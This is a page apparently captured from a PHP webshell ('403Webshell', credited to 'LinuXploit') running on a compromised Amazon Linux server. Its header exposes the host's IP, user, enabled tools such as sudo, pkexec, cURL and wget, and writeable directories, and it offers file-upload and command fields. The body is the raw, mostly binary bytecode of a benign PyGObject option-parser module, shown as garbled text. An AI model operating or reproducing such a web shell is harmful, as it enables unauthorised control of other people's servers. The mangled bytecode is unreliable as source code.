403Webshell
Server IP : 104.21.21.239  /  Your IP : 216.73.216.55
Web Server : Apache/2.4.68 (Amazon Linux) OpenSSL/3.5.7
System : Linux ip-172-31-69-123.ec2.internal 6.1.177-224.371.amzn2023.x86_64 #1 SMP PREEMPT_DYNAMIC Mon Jul 27 20:28:29 UTC 2026 x86_64
User : ec2-user ( 1000)
PHP Version : 8.4.24
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /lib64/python3.9/site-packages/gi/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /lib64/python3.9/site-packages/gi/__pycache__/_option.cpython-39.opt-1.pyc
a

��f�5�@s�dZddlZddlZddlZddlmZmZmZmZmZddl	m
Z
ddlmZm
Z
ddlmZe
d�Ze�e���Zgd	�ZGd
d�dej�ZGdd
�d
ej�ZGdd�dej�ZeZdS)a,GOption command line parser

Extends optparse to use the GOptionGroup, GOptionEntry and GOptionContext
objects. So it is possible to use the gtk, gnome_program and gstreamer command
line groups and contexts.

Use this interface instead of the raw wrappers of GOptionContext and
GOptionGroup in glib.
�N)�
OptParseError�OptionError�OptionValueError�BadOptionError�OptionConflictError�)�get_introspection_module)�_gi�PyGIDeprecationWarning)�GError�GLib)	rrrrr�Option�OptionGroup�OptionParser�make_optionc@sNeZdZdZejjdZejjgd�Zdej	Z
dd�Zdd�Zd	d
�Z
dS)r
a�Represents a command line option

    To use the extended possibilities of the GOption API Option
    (and make_option) are extended with new types and attributes.

    Types:
        filename   The supplied arguments are read as filename, GOption
                   parses this type in with the GLib filename encoding.

    :ivar optional_arg:
        This does not need a arguement, but it can be supplied.
    :ivar hidden:
        The help list does not show this option
    :ivar in_main:
        This option apears in the main group, this should only
        be used for backwards compatibility.

    Use Option.REMAINING as option name to get all positional arguments.

    .. NOTE::
        Every argument to an option is passed as utf-8 coded string, the only
        exception are options which use the 'filename' type, its arguments
        are passed as strings in the GLib filename encoding.

    For further help, see optparse.Option.
    )�filename)�hidden�in_main�optional_arg�--cOsjt�dt�tjj|g|�Ri|��|js4td��t|j�t|j	�krPtd��|j
sftd|jd��dS)NzYgi.repository.GLib.option.Option is depecated, use gi.repository.GLib.OptionEntry insteadz!%s at least one long option name.z;%s at least more long option names than short option names.z%s needs a help message.r)�warnings�warnr
�optparser
�__init__�
_long_opts�
ValueError�len�_short_opts�help��self�args�kwargs�r#�0/usr/lib64/python3.9/site-packages/gi/_option.pyr_s��zOption.__init__cCsF|j|vr|j�|j�tj�||�t|j�t|j�krBtd��dS)NzCgoption.Option needs more long option names than short option names)	�	REMAININGr�appendrr
�_set_opt_stringrrr)r Zoptsr#r#r$r'os

zOption._set_opt_stringccs�d}|jr|tjjO}|jr(|tjjO}|��rD|jrP|tjjO}n|tjj	O}|j
dkrf|tjjO}t|j
|j�D]@\}}|d}t|t�s�|�d�}|dd�|||j|jfVqt|j
t|j�d�D] }|dd�d||j|jfVq�dS)Nrrrzutf-8��)rrZOptionFlagsZHIDDENrZIN_MAINZtakes_valuerZOPTIONAL_ARGZNO_ARG�typeZFILENAME�ziprr�
isinstance�bytes�encoder�metavarr)r �flagsZ	long_nameZ
short_nameZshort_bytesr#r#r$�_to_goptionentriesws$


zOption._to_goptionentriesN)�__name__�
__module__�__qualname__�__doc__rr
ZTYPESZATTRSrZOPTION_REMAININGr%rr'r1r#r#r#r$r
8s
r
c@s<eZdZdZddd�Zdd�Zdd	�Zdd
d�Zdd
�ZdS)ra�A group of command line options.

    :param str name:
        The groups name, used to create the --help-{name} option
    :param str description:
        Shown as title of the groups help view
    :param str help_description:
        Shown as help to the --help-{name} option
    :param list option_list:
        The options used in this group, must be option.Option()
    :param dict defaults:
        A dicitionary of default values
    :param translation_domain:
           Sets the translation domain for gettext().

    .. NOTE::
        This OptionGroup does not exactly map the optparse.OptionGroup
        interface. There is no parser object to supply, but it is possible
        to set default values and option_lists. Also the default values and
        values are not shared with the OptionParser.

    To pass a OptionGroup into a function which expects a GOptionGroup (e.g.
    gnome_program_init() ). OptionGroup.get_option_group() can be used.

    For further help, see optparse.OptionGroup.
    �NcCsbt�dt�tj�|td|�||_d|_||_	|r:||_
d|_||_|r^|D]}|�
|�qNdS)Nz`gi.repository.GLib.option.OptionGroup is depecated, use gi.repository.GLib.OptionContext instead�error)rrr
rZOptionContainerrr
�name�parser�help_description�defaults�values�translation_domainZ
add_option)r r8�descriptionr:�option_listr;r=�optionr#r#r$r�s�zOptionGroup.__init__cCsg|_|��dS�N)r?Z_create_option_mappings)r r#r#r$�_create_option_list�szOptionGroup._create_option_listcsb��fdd�}t��j�j�j|�}�jr6|��j�g}�jD]}|�|�	��q@|�
|�|S)Ncs�|�d�r�j|}n
�j|}z|�||�j��WnHty~t��d}tt	|��}t
|_tj
j|_t	|�|_|�Yn0dS)Nrr)�
startswith�	_long_opt�
_short_opt�processr<r�sys�exc_infor�str�OPTION_CONTEXT_ERROR_QUARK�domainrr�	BAD_VALUE�code�message)�option_name�option_value�group�optr7Zgerror�r9r r#r$�callback�s



z.OptionGroup._to_goptiongroup.<locals>.callback)r	rr8r>r:r=Zset_translation_domainr?�extendr1�add_entries)r r9rTrQ�entriesr@r#rSr$�_to_goptiongroup�s�

zOptionGroup._to_goptiongroupcCs|��|�|�S)z� Returns the corresponding GOptionGroup object.

        Can be used as parameter for gnome_program_init(), gtk_init().
        )�set_values_to_defaultsrX)r r9r#r#r$�get_option_group�szOptionGroup.get_option_groupcCsR|jD]8}|j�|j�}t|t�r|��}|�||�|j|j<qt�	|j�|_
dSrA)r?r;�get�destr,rIZget_opt_stringZcheck_valuerZValuesr<)r r@�defaultZopt_strr#r#r$rY�s

�z"OptionGroup.set_values_to_defaults)r6NNN)N)	r2r3r4r5rrBrXrZrYr#r#r#r$r�s�

rc@sJeZdZdZdd�Zdd�Zdd�Zdd	�Zd
d�Zdd
�Z	ddd�Z
dS)raHCommand line parser with GOption support.

    :param bool help_enabled:
        The --help, --help-all and --help-{group} options are enabled (default).
    :param bool ignore_unknown_options:
        Do not throw a exception when a option is not knwon, the option
        will be in the result list.

    .. NOTE::
        The OptionParser interface is not the exactly the same as the
        optparse.OptionParser interface. Especially the usage parameter
        is only used to show the metavar of the arguements.

    OptionParser.add_option_group() does not only accept OptionGroup instances
    but also glib.OptionGroup, which is returned by gtk_get_option_group().

    Only glib.option.OptionGroup and glib.option.Option instances should
    be passed as groups and options.

    For further help, see optparse.OptionParser.
    cOsZt�dt�d|vrt|d<|�dd�|_|�dd�|_tjj	|g|�Rddi|��dS)Nzagi.repository.GLib.option.OptionParser is depecated, use gi.repository.GLib.OptionContext insteadZoption_class�help_enabledT�ignore_unknown_optionsFZadd_help_option)
rrr
r
�popr^r_rrrrr#r#r$rs��
�
�zOptionParser.__init__cCs8|durd|_n$|�d�r.|td�d�|_n||_dS)Nr6z%prog)�usagerCr)r rar#r#r$�	set_usages

zOptionParser.set_usagec
s��jr�jd�j}n�j}t�|�}|��j�|��j��jD]*}t	|tj
�r\|}n
|���}|�|�qF��fdd�}t�
ddd|�}g}�j
D]}	|�|	���q�|�|�|�|�|S)Nz - cs4|�d�r�j|}n
�j|}|�||���dS)Nr)rCrDrErF)rOrPrQrR�r r<r#r$rT4s

z1OptionParser._to_goptioncontext.<locals>.callback)r>rar	Z
OptionContextZset_help_enabledr^Zset_ignore_unknown_optionsr_�
option_groupsr,rrZZ	add_groupr?rUr1rVZset_main_group)
r r<Zparameter_string�contextZoption_groupZg_grouprTZ
main_groupZmain_entriesr@r#rcr$�_to_goptioncontext$s&





zOptionParser._to_goptioncontextcOs�t|dt�r2tj�|t|g|�Ri|���dSt|�dkr�|s�t|dt�rz|djsd||d_|dj|urztd��t|dt	j�r�|j
�|d�dStjj|g|�Ri|��dS)Nrrz"invalid OptionGroup (wrong parser))r,rIrr�add_option_grouprrr9rr	rdr&rr#r#r$rgDs�

zOptionParser.add_option_groupcCs6|jdd�}|jD]}t|tj�r|�|j�q|SrA)r?rdr,rrrU)r �optionsrQr#r#r$�_get_all_optionsTs

zOptionParser._get_all_optionscCs4|�|�}|�tjdg|�dd�|dd�<dS)Nrr)rf�parserG�argv)r ZlargsZrargsr<rer#r#r$�
_process_args[s
zOptionParser._process_argsNcCs�ztj�|||�\}}Wnzty�t��d}|jtkr>�|jt	j
jkrXt|j
��n6|jt	j
jkrrt|j
��n|jt	j
jkr�t|j
��n�Yn0|jD]&}|jj��D]\}}|�||�q�q�||fS)Nr)rr�
parse_argsrrGrHrKrJrMrrrLrrNZUNKNOWN_OPTIONrZFAILEDrrdr<�__dict__�itemsZensure_value)r r!r<rhr7rQ�key�valuer#r#r$rmcs&�

zOptionParser.parse_args)NN)r2r3r4r5rrbrfrgrirlrmr#r#r#r$r�s
 r)r5rGrrrrrrr�modulerZgir	r
Z	gi._errorrrZquark_to_stringZoption_error_quarkrJ�__all__r
rrrr#r#r#r$�<module>s

[e

Youez - 2016 - github.com/yon3zu
LinuXploit